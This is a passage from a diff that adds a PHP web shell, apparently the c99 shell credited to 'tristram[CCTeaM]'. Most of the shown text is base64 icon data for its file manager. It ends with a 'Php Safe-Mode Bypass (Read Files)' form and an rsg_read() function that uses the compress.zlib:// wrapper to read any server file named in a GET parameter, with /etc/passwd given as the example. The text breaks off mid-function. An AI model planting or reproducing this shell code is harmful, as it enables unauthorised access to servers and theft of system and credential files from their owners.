+"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
+"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
+"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
+"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
+"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
+"yAsokBkQADs=",
+"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
+"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
+"sort_asc"=>
+"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
+"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
+"sort_desc"=>
+"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
+"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
+"sql_button_drop"=>
+"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
+"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
+"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
+"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
+"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
+"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
+"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
+"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
+"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
+"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
+"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
+"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
+"AQEAOw==",
+"sql_button_empty"=>
+"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
+"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
+"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
+"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
+"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
+"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
+"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
+"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
+"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
+"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
+"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
+"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
+"sql_button_insert"=>
+"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
+"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
+"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
+"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
+"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
+"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
+"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
+"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
+"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
+"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
+"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
+"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
+"up"=>
+"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
+"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
+"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
+"write"=>
+"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
+"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
+"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
+"ext_asp"=>
+"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
+"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
+"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
+"ext_mp3"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
+"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
+"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
+"ext_avi"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
+"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
+"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
+"ext_cgi"=>
+"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
+"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
+"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
+"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
+"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
+"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
+"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
+"RYtMAgEAOw==",
+"ext_cmd"=>
+"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
+"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
+"dmrYAMn1onq/YKpjvEgAADs=",
+"ext_cpp"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
+"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
+"Eq7YrLDE7a4SADs=",
+"ext_ini"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
+"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
+"SnEjgPVarHEHgrB43JvszsQEADs=",
+"ext_diz"=>
+"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
+"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
+"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
+"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
+"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
+"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
+"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
+"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
+"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
+"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
+"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
+"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
+"Ow==",
+"ext_doc"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
+"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
+"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
+"ext_exe"=>
+"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
+"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
+"xhIAOw==",
+"ext_h"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
+"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
+"Wq/NknbbSgAAOw==",
+"ext_hpp"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
+"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
+"UqUagnbLdZa+YFcCADs=",
+"ext_htaccess"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
+"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
+"AAA7",
+"ext_html"=>
+"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
+"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
+"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
+"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
+"ADs=",
+"ext_jpg"=>
+"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
+"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
+"FxEAOw==",
+"ext_js"=>
+"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
+"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
+"a00AjYYBbc/o9HjNniUAADs=",
+"ext_lnk"=>
+"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
+"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
+"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
+"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
+"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
+"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
+"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
+"ADs=",
+"ext_log"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
+"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
+"ext_php"=>
+"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
+"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
+"ext_pl"=>
+"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
+"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
+"ext_swf"=>
+"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
+"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
+"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
+"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
+"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
+"ext_tar"=>
+"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
+"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
+"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
+"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
+"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
+"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
+"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
+"u4tLAgEAOw==",
+"ext_txt"=>
+"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
+"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
+"UpPWG3Ig6Hq/XmRjuZwkAAA7",
+"ext_wri"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
+"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
+"ext_xml"=>
+"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
+"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
+"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
+"IQA7"
+ );
+ //For simple size- and speed-optimization.
+ $imgequals = array(
+ "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+ "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
+ "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
+ "ext_html"=>array("ext_html","ext_htm"),
+ "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
+ "ext_lnk"=>array("ext_lnk","ext_url"),
+ "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
+ "ext_doc"=>array("ext_doc","ext_dot"),
+ "ext_js"=>array("ext_js","ext_vbs"),
+ "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
+ "ext_wri"=>array("ext_wri","ext_rtf"),
+ "ext_swf"=>array("ext_swf","ext_fla"),
+ "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
+ "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
+ );
+ if (!$getall)
+ {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
+ if (empty($images[$img])) {$img = "small_unk";}
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+ echo base64_decode($images[$img]);
+ }
+ else
+ {
+ foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."] ");}}}}
+ natsort($images);
+ $k = array_keys($images);
+ echo "";
+ foreach ($k as $u) {echo $u.": ";}
+ echo " ";
+ }
+ exit;
+}
+if ($act == "about") {echo "Credits: Idea, leading and coding by tristram[CCTeaM]. Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM]. Thanks all who report bugs. All bugs send to tristram's ICQ #656555 . ";}
+?>
+
+
+
+
+:: Preddy's tricks :D ::
+
+
+ Php Safe-Mode Bypass (Read Files)
+
+
+
+ File:
eg: /etc/passwd
+
+
+
+
+
+
+
+
+ function rsg_read()
+ {
+ $test="";
+ $temp=tempnam($test, "cx");
+ $file=$_GET['file'];
+ $get=htmlspecialchars($file);
+ echo "
Trying To Get File
$get ";
+ if(copy("compress.zlib://".$file, $temp)){
+ $fichier = fopen($temp, "r");
+ $action = fread($fichier, filesize($temp));
+ fclose($fichier);
+ $source=htmlspecialchars($action);
+ echo "
Start $get $source Fin $get ";
+ unlink($temp);
+ } else {
+ die("
Sorry... File
+ ".htmlspecialchars($file)." dosen't exists or you don't have
